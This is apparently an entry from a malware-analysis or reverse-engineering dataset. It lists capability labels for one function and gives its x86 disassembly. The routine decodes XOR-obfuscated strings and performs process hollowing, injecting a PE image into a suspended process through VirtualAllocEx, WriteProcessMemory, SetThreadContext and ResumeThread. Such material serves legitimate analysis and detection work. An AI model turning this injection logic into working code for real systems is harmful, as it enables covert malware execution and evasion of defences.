Function at 0x401260
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5b7e3b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3fc
push esi
mov dword [ebp - 0x34], ecx
xor ecx, ecx
push edi
mov byte [ebp - 0xd], dl
mov dword [ebp - 0x14], 0
call fcn.00401210
push eax
call fcn.005a9525
add esp, 4
lea ecx, [ebp - 0x29]
call fcn.005a51f0
lea ecx, [ebp - 0x2a]
mov dword [ebp - 0x28], eax
call fcn.00401a30
mov edi, eax
cmp byte [edi + 9], 0
jne 0x401328
xor edx, edx
nop word [eax + eax]
mov ecx, dword [edi + 4]
mov esi, dword [edi]
lea eax, [ecx + 1]
cmp esi, eax
jne 0x4012d8
inc cl
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x4012c0
lea eax, [ecx + 2]
cmp esi, eax
jne 0x4012ec
add cl, 2
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x4012c0
cmp esi, ecx
je 0x401318
lea eax, [ecx + 4]
cmp esi, eax
jne 0x401304
add cl, 3
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x4012c0
lea eax, [ecx + 5]
cmp esi, eax
jne 0x401322
add cl, 4
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x4012c0
mov al, dl
lea ecx, [edi + edx]
add al, 0x77
xor byte [ecx + 0xa], al
inc edx
cmp edx, 0x39
jb 0x4012c0
lea eax, [edi + 0xa]
mov byte [edi + 9], 1
push eax
lea ecx, [ebp - 0x13c]
call fcn.005a54b0
lea ecx, [ebp - 0x2b]
mov dword [ebp - 4], 0
call fcn.00401ae0
mov edi, eax
cmp byte [edi + 9], 0
jne 0x4013bc
xor edx, edx
mov ecx, dword [edi + 4]
mov esi, dword [edi]
lea eax, [ecx + 1]
cmp esi, eax
jne 0x40136c
inc cl
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401354
lea eax, [ecx + 2]
cmp esi, eax
jne 0x401380
add cl, 2
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401354
cmp esi, ecx
je 0x4013ac
lea eax, [ecx + 4]
cmp esi, eax
jne 0x401398
add cl, 3
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401354
lea eax, [ecx + 5]
cmp esi, eax
jne 0x4013b6
add cl, 4
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401354
mov al, dl
lea ecx, [edx + edi]
add al, 0x78
xor byte [ecx + 0xa], al
inc edx
cmp edx, 0x3a
jb 0x401354
lea eax, [edi + 0xa]
mov byte [edi + 9], 1
push eax
lea ecx, [ebp - 0x124]
call fcn.005a54b0
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.00401b90
mov edi, eax
cmp byte [edi + 9], 0
jne 0x40144d
xor edx, edx
mov ecx, dword [edi + 4]
mov esi, dword [edi]
lea eax, [ecx + 1]
cmp esi, eax
jne 0x4013fd
inc cl
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x4013e5
lea eax, [ecx + 2]
cmp esi, eax
jne 0x401411
add cl, 2
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x4013e5
cmp esi, ecx
je 0x40143d
lea eax, [ecx + 4]
cmp esi, eax
jne 0x401429
add cl, 3
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x4013e5
lea eax, [ecx + 5]
cmp esi, eax
jne 0x401447
add cl, 4
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x4013e5
mov al, dl
lea ecx, [edx + edi]
add al, 0x78
xor byte [ecx + 0xa], al
inc edx
cmp edx, 0x3a
jb 0x4013e5
lea eax, [edi + 0xa]
mov byte [edi + 9], 1
push eax
lea ecx, [ebp - 0x10c]
call fcn.005a54b0
lea ecx, [ebp - 0x2d]
mov byte [ebp - 4], 2
call fcn.00401c40
mov edi, eax
cmp byte [edi + 9], 0
jne 0x4014de
xor edx, edx
mov ecx, dword [edi + 4]
mov esi, dword [edi]
lea eax, [ecx + 1]
cmp esi, eax
jne 0x40148e
inc cl
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401476
lea eax, [ecx + 2]
cmp esi, eax
jne 0x4014a2
add cl, 2
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401476
cmp esi, ecx
je 0x4014ce
lea eax, [ecx + 4]
cmp esi, eax
jne 0x4014ba
add cl, 3
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401476
lea eax, [ecx + 5]
cmp esi, eax
jne 0x4014d8
add cl, 4
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401476
mov al, dl
lea ecx, [edx + edi]
add al, 0x78
xor byte [ecx + 0xa], al
inc edx
cmp edx, 0x39
jb 0x401476
lea eax, [edi + 0xa]
mov byte [edi + 9], 1
push eax
lea ecx, [ebp - 0xf4]
call fcn.005a54b0
lea eax, [ebp - 0xdc]
mov dword [ebp - 4], 3
push eax
lea eax, [ebp - 0x13c]
push eax
lea ecx, [ebp - 0x94]
call fcn.005a5200
push dword [ebp - 0x28]
lea ecx, [ebp - 0x48]
push dword [eax + 4]
push dword [eax]
call fcn.005a5260
push fcn.005a5420
push 4
push 0x18
lea eax, [ebp - 0x13c]
mov byte [ebp - 4], 5
push eax
call fcn.005a605b
lea ecx, [ebp - 0x48]
call fcn.005a5230
mov esi, eax
call fcn.005a9504
xor edx, edx
div esi
cmp byte [ebp - 0xd], 0
je 0x4015f2
lea ecx, [ebp - 0x2e]
call fcn.00401cf0
mov edi, eax
cmp byte [edi + 9], 0
jne 0x4015d8
xor edx, edx
nop dword [eax]
mov ecx, dword [edi + 4]
mov esi, dword [edi]
lea eax, [ecx + 1]
cmp esi, eax
jne 0x401588
inc cl
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401570
lea eax, [ecx + 2]
cmp esi, eax
jne 0x40159c
add cl, 2
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401570
cmp esi, ecx
je 0x4015c8
lea eax, [ecx + 4]
cmp esi, eax
jne 0x4015b4
add cl, 3
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401570
lea eax, [ecx + 5]
cmp esi, eax
jne 0x4015d2
add cl, 4
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401570
mov al, dl
lea ecx, [edx + edi]
add al, 0x79
xor byte [ecx + 0xa], al
inc edx
cmp edx, 0x39
jb 0x401570
lea eax, [edi + 0xa]
mov byte [edi + 9], 1
push eax
lea ecx, [ebp - 0xc4]
call fcn.005a54b0
mov ecx, 1
jmp 0x40160c
push edx
lea ecx, [ebp - 0x48]
call fcn.005a5220
push eax
lea ecx, [ebp - 0xac]
call fcn.005a54f0
mov ecx, 2
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0xdc]
push eax
call fcn.005a5470
mov dword [ebp - 4], 7
mov eax, dword [ebp - 0x14]
test al, 2
je 0x40163d
and eax, 0xfffffffd
lea ecx, [ebp - 0xac]
mov dword [ebp - 0x14], eax
call fcn.005a5420
mov eax, dword [ebp - 0x14]
mov byte [ebp - 4], 8
test al, 1
je 0x401650
lea ecx, [ebp - 0xc4]
call fcn.005a5420
lea ecx, [ebp - 0xdc]
call fcn.005a5370
mov esi, dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x34]
mov byte [ebp - 0xd], 1
mov edi, dword [eax + 0x3c]
add edi, eax
cmp dword [edi], 0x4550
jne 0x4018a0
lea eax, [ebp - 0x24]
mov dword [ebp - 0x8c], 0x44
push eax
lea eax, [ebp - 0x8c]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0x8000004
push 0
push 0
push 0
push 0
push dword [ebp - 0x28]
movups xmmword [ebp - 0x24], xmm0
movlpd qword [ebp - 0x88], xmm0
movlpd qword [ebp - 0x80], xmm0
movlpd qword [ebp - 0x78], xmm0
movlpd qword [ebp - 0x70], xmm0
movlpd qword [ebp - 0x68], xmm0
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4018a0
push 0x2c8
lea eax, [ebp - 0x404]
mov dword [ebp - 0x408], 0x10007
push 0
push eax
call fcn.005a7aa0
add esp, 0xc
lea eax, [ebp - 0x408]
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x4018a0
push 0
push 4
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x364]
add eax, 8
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x4018bf
cmp dword [ebp - 0x38], eax
jne 0x401890
lea ecx, [ebp - 0x2f]
call fcn.00401da0
mov dword [ebp - 0x14], eax
cmp byte [eax + 0xa], 0
jne 0x4017cd
lea edi, [eax + 0xc]
xor edx, edx
nop
mov ecx, dword [eax + 4]
mov esi, dword [eax]
lea eax, [ecx + 1]
cmp esi, eax
jne 0x40177a
lea eax, [ecx + 1]
xor word [edi + edx*2], ax
mov eax, dword [ebp - 0x14]
inc dword [eax]
jmp 0x401760
lea eax, [ecx + 2]
cmp esi, eax
jne 0x40178f
lea eax, [ecx + 2]
xor word [edi + edx*2], ax
mov eax, dword [ebp - 0x14]
inc dword [eax]
jmp 0x401760
cmp esi, ecx
je 0x4017bd
lea eax, [ecx + 4]
cmp esi, eax
jne 0x4017a8
lea eax, [ecx + 3]
xor word [edi + edx*2], ax
mov eax, dword [ebp - 0x14]
inc dword [eax]
jmp 0x401760
lea eax, [ecx + 5]
cmp esi, eax
jne 0x4017c4
lea eax, [ecx + 4]
xor word [edi + edx*2], ax
mov eax, dword [ebp - 0x14]
inc dword [eax]
jmp 0x401760
lea eax, [edx + 0x79]
xor word [edi + edx*2], ax
mov eax, dword [ebp - 0x14]
inc edx
cmp edx, 0xa
jb 0x401760
mov byte [eax + 0xa], 1
add eax, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], eax
call fcn.00401e50
mov edi, eax
cmp byte [edi + 9], 0
jne 0x401855
xor edx, edx
mov eax, dword [edi + 4]
mov esi, dword [edi]
lea ecx, [eax + 1]
cmp esi, ecx
jne 0x401808
inc al
lea ecx, [edx + edi]
xor byte [ecx + 0xa], al
inc dword [edi]
jmp 0x4017f0
lea ecx, [eax + 2]
cmp esi, ecx
jne 0x40181b
add al, 2
lea ecx, [edx + edi]
xor byte [ecx + 0xa], al
inc dword [edi]
jmp 0x4017f0
cmp esi, eax
je 0x401845
lea ecx, [eax + 4]
cmp esi, ecx
jne 0x401832
add al, 3
lea ecx, [edx + edi]
xor byte [ecx + 0xa], al
inc dword [edi]
jmp 0x4017f0
lea ecx, [eax + 5]
cmp esi, ecx
jne 0x40184f
add al, 4
lea ecx, [edx + edi]
xor byte [ecx + 0xa], al
inc dword [edi]
jmp 0x4017f0
mov al, dl
lea ecx, [edx + edi]
add al, 0x79
xor byte [ecx + 0xa], al
inc edx
cmp edx, 0x15
jb 0x4017f0
lea eax, [edi + 0xa]
mov byte [edi + 9], 1
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push dword [ebp - 0x24]
call eax
test eax, eax
je 0x4018b7
push 0
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_ResumeThread]
call esi
nop word [eax + eax]
push 0
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x20]
call esi
mov ecx, dword [ebp - 0x28]
call fcn.00401240
test al, al
je 0x401664
push 0
call fcn.005a94ee
mov esi, dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x401890
push 0x40
push 0x3000
push dword [edi + 0x50]
push dword [edi + 0x34]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x401890
mov ecx, dword [ebp - 0x34]
push 0
push dword [edi + 0x54]
push ecx
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401890
xor eax, eax
xor esi, esi
cmp ax, word [edi + 6]
jae 0x401957
nop dword [eax]
mov edx, dword [ebp - 0x34]
lea ecx, [esi + esi*4]
push 0
mov eax, dword [edx + 0x3c]
lea ecx, [eax + ecx*8]
push dword [ecx + edx + 0x108]
mov eax, dword [ecx + edx + 0x10c]
add eax, edx
push eax
mov eax, dword [ecx + edx + 0x104]
add eax, dword [ebp - 0x14]
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40194e
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov byte [ebp - 0xd], 0
movzx eax, word [edi + 6]
inc esi
cmp esi, eax
jl 0x401900
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [ebp - 0x364]
add eax, 8
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401990
push 0
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esi, dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x40189b
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x358], eax
lea eax, [ebp - 0x408]
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x401976
push dword [ebp - 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_ResumeThread]
call esi
cmp eax, 0xffffffff
je 0x401890
push 0xffffffffffffffff
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x401890
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x401890
push dword [ebp - 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x24]
call edi
push dword [ebp - 0x1c]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x401a1b
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call edi
cmp byte [ebp - 0xd], 0
jne 0x4018b0
mov esi, dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x4018a0